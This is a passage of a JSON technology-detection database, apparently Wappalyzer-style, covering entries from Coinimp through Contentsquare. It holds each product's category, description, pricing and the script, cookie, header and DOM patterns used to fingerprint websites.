\"website\": \"https://coin-have.com/\"\n  },\n  \"Coinimp\": {\n    \"cats\": [\n      56\n    ],\n    \"description\": \"CoinImp is a cryptocurrency mining service.\",\n    \"icon\": \"coinimp.svg\",\n    \"js\": {\n      \"Client.Anonymous\": \"\\\\;confidence:50\"\n    },\n    \"scriptSrc\": [\n      \"https?://www\\\\.hashing\\\\.win/scripts/min\\\\.js\"\n    ],\n    \"website\": \"https://www.coinimp.com\"\n  },\n  \"Colbass\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Colbass is AI System that transforms text into real-human voiceovers.\",\n    \"icon\": \"colbass.svg\",\n    \"js\": {\n      \"colbassRunning\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"onetime\",\n      \"recurring\"\n    ],\n    \"website\": \"https://colbass.com\"\n  },\n  \"Colibri WP\": {\n    \"cats\": [\n      80,\n      51\n    ],\n    \"description\": \"Colibri WP is a drag-and-drop WordPress website builder.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/colibri-page-builder']\"\n    ],\n    \"icon\": \"Colibri WP.png\",\n    \"js\": {\n      \"Colibri\": \"\",\n      \"colibriData\": \"\",\n      \"colibriFrontendData\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/colibri-page-builder.+\\\\.js(?:.+ver=([\\\\d\\\\.\\\\-\\\\w]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://colibriwp.com\"\n  },\n  \"Colis Privé\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Colis Privé is a private parcel delivery service provider specialised in last-mile delivery.\",\n    \"icon\": \"Colis Prive.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bColis Priv[eé]\\\\b\"\n    ],\n    \"website\": \"https://www.colisprive.fr\"\n  },\n  \"Colissimo\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Colissimo is a 'drop off' parcel delivery service.\",\n    \"icon\": \"DPD.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bColissimo\\\\b\"\n    ],\n    \"website\": \"https://www.colissimo.entreprise.laposte.fr\"\n  },\n  \"Collect.chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Collect.chat is an interactive chatbot that collects data from website visitors.\",\n    \"icon\": \"CollectChat.svg\",\n    \"js\": {\n      \"CollectAlwaysOpen\": \"\",\n      \"CollectChatLauncher\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"collectorcdn\\\\.com/launcher\\\\.js\"\n    ],\n    \"website\": \"https://collect.chat\"\n  },\n  \"CollectiveAccess\": {\n    \"cats\": [\n      95\n    ],\n    \"cookies\": {\n      \"CA_collectiveaccess_ui_locale\": \"\",\n      \"collectiveaccess\": \"\"\n    },\n    \"description\": \"CollectiveAccess is a free, open-source software for cataloguing and publishing museum and archival collections.\",\n    \"icon\": \"CollectiveAccess.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://collectiveaccess.org\"\n  },\n  \"ColorMag\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ColorMag theme is for creating news, magazine, newspaper and other kinds of publishing sites. Compatible with Elementor.\",\n    \"dom\": {\n      \"body[class*='colormag-theme']\": {\n        \"text\": \"\"\n      },\n      \"link[id*='colormag']\": {\n        \"attributes\": {\n          \"href\": \"themes/colormag\\\\S*\\\\.css(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"ThemeGrill.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"themes/colormag.*\\\\.js(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://themegrill.com/themes/colormag/\"\n  },\n  \"ColorMeShop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ColorMeShop is an ecommerce platform from Japan.\",\n    \"icon\": \"colormeshop.svg\",\n    \"js\": {\n      \"Colorme\": \"\"\n    },\n    \"website\": \"https://shop-pro.jp\"\n  },\n  \"Colorlib Activello\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Colorlib Activello is a clean, minimal multipurpose WordPress blog theme developer using the Bootstrap frontend framework making it fully responsive and mobile-friendly.\",\n    \"dom\": [\n      \"link#activello-style-css\"\n    ],\n    \"icon\": \"Colorlib.svg\",\n    \"js\": {\n      \"ActivelloIsMobile\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/activello/\"\n    ],\n    \"website\": \"https://colorlib.com/wp/themes/activello\"\n  },\n  \"Colorlib Illdy\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Colorlib Illdy is a stunning multipurpose WordPress theme built based on Bootstrap frontend framework making it fully responsive and mobile friendly.\",\n    \"dom\": [\n      \"link#illdy-style-css\"\n    ],\n    \"icon\": \"Colorlib.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/illdy/\"\n    ],\n    \"website\": \"https://colorlib.com/wp/themes/illdy\"\n  },\n  \"Colorlib Shapely\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Colorlib Shapely is considered as a powerful, clean and beautiful full-width free WordPress theme.\",\n    \"dom\": [\n      \"link#shapely-style-css\"\n    ],\n    \"icon\": \"Colorlib.svg\",\n    \"js\": {\n      \"ShapelyAdminObject\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/shapely/\"\n    ],\n    \"website\": \"https://colorlib.com/wp/themes/shapely\"\n  },\n  \"Colorlib Sparkling\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Colorlib Sparkling is a clean, modern, flat design WordPress theme developed using Bootstrap.\",\n    \"dom\": [\n      \"link#sparkling-style-css\"\n    ],\n    \"icon\": \"Colorlib.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/sparkling/\"\n    ],\n    \"website\": \"https://colorlib.com/wp/themes/sparkling\"\n  },\n  \"Colorlib Travelify\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Colorlib Travelify is a responsive, free, travel WordPress theme.\",\n    \"dom\": [\n      \"link#travelify-style-css\"\n    ],\n    \"icon\": \"Colorlib.svg\",\n    \"js\": {\n      \"travelify_slider_value\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/travelify/\"\n    ],\n    \"website\": \"https://colorlib.com/wp/themes/travelify\"\n  },\n  \"Combahton FlowShield\": {\n    \"cats\": [\n      16\n    ],\n    \"cookies\": {\n      \"FLOWPROXY-ORIGIN\": \"\"\n    },\n    \"description\": \"Combahton FlowShield is a network security solution designed to protect networks and servers from various cyber threats, including DDoS attacks, malware, and other types of malicious traffic.\",\n    \"headers\": {\n      \"Server\": \"antiddos/flowproxy\",\n      \"X-Flowproxy-Author\": \"\"\n    },\n    \"icon\": \"Combahton.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://combahton.net\"\n  },\n  \"Combeenation\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Combeenation is a powerful cloud-based configurator platform.\",\n    \"dom\": [\n      \"iframe[src*='portal.combeenation.com/']\"\n    ],\n    \"icon\": \"Combeenation.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.combeenation.com\"\n  },\n  \"Combodo iTop\": {\n    \"cats\": [\n      13,\n      19\n    ],\n    \"description\": \"Combodo iTop is an open-source IT service management (ITSM) and IT operations management (ITOM) platform developed by Combodo, a software company based in France.\",\n    \"dom\": {\n      \"a[href*='combodo.com/itop'] > img\": {\n        \"attributes\": {\n          \"title\": \"iTop\\\\sVersion\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Combodo iTop.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.combodo.com/itop-193\"\n  },\n  \"Comeet\": {\n    \"cats\": [\n      5,\n      101\n    ],\n    \"description\": \"Comeet is an Collaborative Recruiting, and Applicant Tracking System.\",\n    \"icon\": \"comeet.svg\",\n    \"js\": {\n      \"COMEET\": \"\",\n      \"comeetInit\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.comeet.com\"\n  },\n  \"Comm100\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Comm100 is a provider of customer service and communication products.\",\n    \"icon\": \"Comm100.svg\",\n    \"js\": {\n      \"Comm100API\": \"\",\n      \"comm100_chatButton\": \"\",\n      \"comm100_livechat_open_link\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.comm100.com\"\n  },\n  \"Commanders Act TagCommander\": {\n    \"cats\": [\n      42\n    ],\n    \"description\": \"Commanders Act TagCommander is a European company providing a tag management product designed to handle website tags.\",\n    \"icon\": \"Commanders Act.svg\",\n    \"js\": {\n      \"tc_vars\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tagcommander\\\\.com\"\n    ],\n    \"website\": \"https://www.commandersact.com/en/solutions/tagcommander/\"\n  },\n  \"Commanders Act TrustCommander\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Commanders Act TrustCommander is a consent management platform (CMP) which allows you to comply with the general data protection regulation (GDPR) regulation in terms of collecting consent.\",\n    \"icon\": \"Commanders Act.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.trustcommander\\\\.net/privacy/.+_v([\\\\d]+)_([\\\\d]+)\\\\.js\\\\;version:\\\\1.\\\\2\"\n    ],\n    \"website\": \"https://www.commandersact.com/en/solutions/trustcommander/\"\n  },\n  \"Commento\": {\n    \"cats\": [\n      15\n    ],\n    \"description\": \"Commento is a tool for fostering discussion and improving engagement on websites.\",\n    \"icon\": \"Commento.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.commento\\\\.io/\"\n    ],\n    \"website\": \"https://commento.io\"\n  },\n  \"Commerce Server\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:microsoft:commerce_server:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"COMMERCE-SERVER-SOFTWARE\": \"\"\n    },\n    \"icon\": \"Commerce Server.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"website\": \"https://commerceserver.net\"\n  },\n  \"Commerce.js\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Commerce.js is an API-first ecommerce platform for developers and businesses.\",\n    \"headers\": {\n      \"Chec-Version\": \".*\",\n      \"X-Powered-By\": \"Commerce.js\"\n    },\n    \"icon\": \"commercejs.svg\",\n    \"js\": {\n      \"CommercejsSpace\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.chec\\\\.io/v(\\\\d+)/commerce\\\\.js\\\\;version:\\\\1\",\n      \"chec/commerce\\\\.js\"\n    ],\n    \"url\": [\n      \"\\\\.spaces.chec\\\\.io\"\n    ],\n    \"website\": \"https://www.commercejs.com\"\n  },\n  \"Commerce7\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Commerce7 is an ecommerce platform for wineries.\",\n    \"icon\": \"Commerce7.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.commerce7\\\\.com\"\n    ],\n    \"website\": \"https://commerce7.com\",\n    \"xhr\": [\n      \"api\\\\.commerce7\\\\.com\"\n    ]\n  },\n  \"Commercelayer\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Commercelayer is a headless ecommerce platform that permits businesses to create customisable and scalable online shopping experiences via an API-first architecture that allows developers to use any programming language or framework for building ecommerce sites and applications.\",\n    \"icon\": \"commercelayer.svg\",\n    \"js\": {\n      \"commerceLayer\": \"\",\n      \"commerceLayerCache\": \"\",\n      \"commercelayerConfig\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://commercelayer.io\",\n    \"xhr\": [\n      \"\\\\.commercelayer\\\\.io\"\n    ]\n  },\n  \"Commercio\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Commercio is a platform that allows promotional product distributors to set up fully branded company stores.\",\n    \"icon\": \"Commercio.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"(?:mycommercio|commerciostores)\\\\.com/\"\n    ],\n    \"website\": \"https://commercio.com\"\n  },\n  \"Community\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Community is a platform enabling public figures, small to midsize businesses, and enterprise brands to connect instantly with their audience through large-scale conversational text messaging.\",\n    \"icon\": \"Community.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.community\\\\.com/\"\n    ],\n    \"website\": \"https://www.community.com\"\n  },\n  \"Community Funded\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Community Funded is a digital fundraising and engagement platform.\",\n    \"dom\": [\n      \"a[href*='//give.communityfunded.com/']\"\n    ],\n    \"icon\": \"Community Funded.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//give\\\\.communityfunded\\\\.com/\"\n    ],\n    \"website\": \"https://www.communityfunded.com\"\n  },\n  \"Complianz\": {\n    \"cats\": [\n      74,\n      67,\n      87\n    ],\n    \"description\": \"Complianz is a GDPR/CCPA Cookie Consent plugin that supports GDPR, DSGVO, CCPA and PIPEDA with a conditional Cookie Notice and customized Cookie Policy based on the results of the built-in Cookie Scan.\",\n    \"icon\": \"Complianz.svg\",\n    \"js\": {\n      \"complianz.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wp-content/plugins/complianz-gdpr-premium\"\n    ],\n    \"website\": \"https://complianz.io\"\n  },\n  \"Concert\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Concert is a publisher-led marketplace for ads by Vox Media.\",\n    \"icon\": \"Concert.svg\",\n    \"js\": {\n      \"CONCERT_ADS_CONFIG\": \"\",\n      \"ConcertAds\": \"\"\n    },\n    \"requires\": [\n      \"Vox Media\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.concert\\\\.io/\"\n    ],\n    \"website\": \"https://concert.io\"\n  },\n  \"Concrete CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"CONCRETE5\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:concrete5:concrete5:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Concrete CMS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"CCM_IMAGE_PATH\": \"\",\n      \"Concrete\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^concrete5(?: - ([\\\\d.]+)$)?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/concrete/js/\"\n    ],\n    \"website\": \"https://www.concretecms.com/\"\n  },\n  \"Conditional Fields for Contact Form 7\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Adds conditional logic to Contact Form 7.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/cf7-conditional-fields/']\"\n    ],\n    \"icon\": \"Conditional Fields for Contact Form 7.png\",\n    \"implies\": [\n      \"Contact Form 7\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"cf7-conditional-fields(?:\\\\/js)?(?:\\\\/scripts)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/cf7-conditional-fields\"\n  },\n  \"Conduit\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Conduit is a data integration tool designed to synchronize production systems through an extensible, event-first approach with minimal dependencies for integration into existing workflows.\",\n    \"icon\": \"Conduit.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"scripts\": [\n      \"\\\\.conduit\\\\.com/\"\n    ],\n    \"website\": \"https://conduit.io\"\n  },\n  \"Conekta\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Conekta is a Mexican payment platform.\",\n    \"icon\": \"Conekta.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"conektaapi/v([\\\\d.]+)\\\\;version:\\\\1\",\n      \"cdn\\\\.conekta\\\\.\\\\w+/js/(?:v([\\\\d.]+)|)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://conekta.com\"\n  },\n  \"Confer With\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Confer With triggers live streaming video calls between shoppers and instore experts from a website, or outside a store.\",\n    \"icon\": \"Confer With.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.conferwith\\\\.io/\"\n    ],\n    \"website\": \"https://conferwith.io\"\n  },\n  \"Conferbot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Conferbot is a platform designed to improve website engagement through customisable chatbots, catering to various business requirements.\",\n    \"icon\": \"Conferbot.svg\",\n    \"js\": {\n      \"ConferbotWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"conferbot\\\\.defaults.*\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.conferbot.com\"\n  },\n  \"Confiant\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Confiant is a cybersecurity company specialising in ad security and ad quality assurance for digital publishers, programmatic platforms, and advertisers.\",\n    \"icon\": \"Confiant.svg\",\n    \"js\": {\n      \"confiant\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.confiant.com\"\n  },\n  \"Congressus\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"_gat_congressus_analytics\": \"\",\n      \"congressus_session\": \"\"\n    },\n    \"description\": \"Congressus is a Dutch-language online application for member administration, financial management, communication and a linked website with webshop.\",\n    \"icon\": \"Congressus.svg\",\n    \"meta\": {\n      \"generator\": \"^Congressus\\\\s-\\\\s.+$\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://congressus.nl\"\n  },\n  \"Conjured\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Conjured provides Shopify brands with Shopify apps and custom development.\",\n    \"icon\": \"Conjured.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.conjured\\\\.co/\"\n    ],\n    \"website\": \"https://conjured.co\"\n  },\n  \"Connectif\": {\n    \"cats\": [\n      76,\n      32\n    ],\n    \"description\": \"Connectif is a marketing automation and personalisation data-first action platform, powered by AI.\",\n    \"icon\": \"Connectif.svg\",\n    \"js\": {\n      \"connectif.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\",\n      \"connectifInfo.store\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.connectif\\\\.cloud/\"\n    ],\n    \"website\": \"https://connectif.ai\"\n  },\n  \"Consent Manager\": {\n    \"cats\": [\n      67\n    ],\n    \"cookies\": {\n      \"__cmpcccx274\": \"\",\n      \"__cmpconsentx274\": \"\",\n      \"__cmpiuid\": \"\"\n    },\n    \"description\": \"Consent Manager is a provider ensuring GDPR and CCPA compliance for websites.\",\n    \"icon\": \"ConsentManager.svg\",\n    \"js\": {\n      \"cmpCCPA\": \"\",\n      \"cmpConsentPurposes\": \"\",\n      \"cmpConsentString\": \"\",\n      \"cmpCustomPurposeConsent\": \"\",\n      \"cmpGDPR\": \"\",\n      \"cmpGoogleVendorsConsent\": \"\",\n      \"cmp_closevendor\": \"\",\n      \"cmp_vendordelivery\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.consentmanager.net\"\n  },\n  \"Constant Contact\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"Constant Contact is a marketing automation and email marketing solution.\",\n    \"dom\": [\n      \"a[href*='.constantcontact.com/'][target='_blank'], form[action*='.constantcontact.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Constant Contact.svg\",\n    \"js\": {\n      \"_ctct_m\": \"\",\n      \"ctctOnLoadCallback\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ctctcdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.constantcontact.com\"\n  },\n  \"Constructor\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Constructor is an ecommerce tool optimizing site search and product discovery, leveraging AI, NLP, data, and personalization to enhance user experiences and meet KPIs.\",\n    \"icon\": \"ConstructorIO.svg\",\n    \"js\": {\n      \"ConstructorioAutocomplete\": \"\",\n      \"ConstructorioClient\": \"\",\n      \"ConstructorioTracker\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://constructor.io\"\n  },\n  \"Contabo\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Contabo is a German hosting provider, previously known by the name Giga-International.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.contabo\\\\.net\"\n    },\n    \"icon\": \"Contabo.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"website\": \"https://contabo.com\"\n  },\n  \"Contact Form 7\": {\n    \"cats\": [\n      87,\n      110\n    ],\n    \"description\": \"Contact Form 7 is an WordPress plugin which can manage multiple contact forms. The form supports Ajax-powered submitting, CAPTCHA, Akismet spam filtering.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/contact-form-7/']\"\n    ],\n    \"icon\": \"Contact Form 7.svg\",\n    \"js\": {\n      \"wpcf7\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/contact-form-7/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://contactform7.com\"\n  },\n  \"Container Media Group\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Container Media Group offers technical solutions for agencies and brands to plan, execute, optimise, and report on advertising campaigns. They specialise in creating engaging custom creatives and utilise advanced tracking pixels to monitor user advertising activity across media channels.\",\n    \"icon\": \"Container Media Group.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.containermedia\\\\.net/\"\n    ],\n    \"website\": \"https://containermedia.net\"\n  },\n  \"Contao\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:contao:contao_cms:*:*:*:*:*:*:*:*\",\n    \"description\": \"Contao is an open source CMS that allows you to create websites and scalable web applications.\",\n    \"dom\": [\n      \"link[href*='/typolight.css'], link[href*='/contao.css']\"\n    ],\n    \"icon\": \"Contao.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Contao Open Source CMS$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://contao.org\"\n  },\n  \"Contenido\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:contenido:contendio:*:*:*:*:*:*:*:*\",\n    \"description\": \"Contenido is a robust content management system (CMS) tailored for efficient creation and administration of digital content across websites and online projects.\",\n    \"icon\": \"Contenido.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Contenido ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://contenido.org/en\"\n  },\n  \"Contensis\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Contensis.svg\",\n    \"implies\": [\n      \"Java\",\n      \"CFML\"\n    ],\n    \"meta\": {\n      \"generator\": \"Contensis CMS Version ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://zengenti.com/en-gb/products/contensis\"\n  },\n  \"ContentBox\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"icon\": \"ContentBox.png\",\n    \"implies\": [\n      \"Adobe ColdFusion\"\n    ],\n    \"meta\": {\n      \"generator\": \"ContentBox powered by ColdBox\"\n    },\n    \"website\": \"https://www.gocontentbox.org\"\n  },\n  \"ContentStudio\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"ContentStudio is an integrated cloud-based social media management and content marketing solution.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/contentstudio']\"\n    ],\n    \"icon\": \"ContentStudio.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://contentstudio.io\"\n  },\n  \"ContentViews\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"ContentViews is a lightweight and user-friendly WordPress Plugin, crafted specifically for efficient content management and display. This plugin offers seamless integration with Widgets and enables users to showcase their posts, pages, or custom post types in a highly responsive grid, list, or timeline layout.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/content-views-query-and-display-post-page/'], link[href*='/wp-content/plugins/pt-content-views-pro/']\"\n    ],\n    \"icon\": \"ContentViews.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"content-views(?:-pro)?(?:-query-and-display-post-page)?(?:\\\\/public)?(?:\\\\/assets)?(?:\\\\/js)?(?:\\\\/cv(?:pro)?)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/content-views-query-and-display-post-page/\"\n  },\n  \"Contentder\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Contentder is a website development platform that integrates inbound marketing analytics to optimize site performance.\",\n    \"icon\": \"Contentder.svg\",\n    \"js\": {\n      \"ArticleSetting.GetAdminHostURL\": \"easybuilder\\\\.contentder\\\\.com\",\n      \"BlogSetting.GetAdminHostURL\": \"easybuilder\\\\.contentder\\\\.com\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.contentder.com\"\n  },\n  \"Contentful\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Contentful is an API-first content management platform to create, manage and publish content on any digital channel.\",\n    \"headers\": {\n      \"x-contentful-request-id\": \"\"\n    },\n    \"html\": [\n      \"<[^>]+(?:assets|downloads|images|videos)\\\\.(?:ct?fassets\\\\.net|contentful\\\\.com)\"\n    ],\n    \"icon\": \"Contentful.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.contentful.com\",\n    \"xhr\": [\n      \"(?:cdn|graphql)\\\\.contentful\\\\.com\"\n    ]\n  },\n  \"Contently\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Contently is a SaaS content marketing platform from the company of the same name headquartered in New York.\",\n    \"icon\": \"Contently.png\",\n    \"js\": {\n      \"_contently.siteId\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://contently.com\"\n  },\n  \"Contentsquare\": {\n    \"cats\": [\n      10,\n      74\n    ],\n    \"description\": \"Contentsquare is an enterprise-level UX optimisation platform.\",\n    \"icon\": \"Contentsquare.svg\",\n    \"js\": {\n      \"CS_CONF.trackerDomain\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      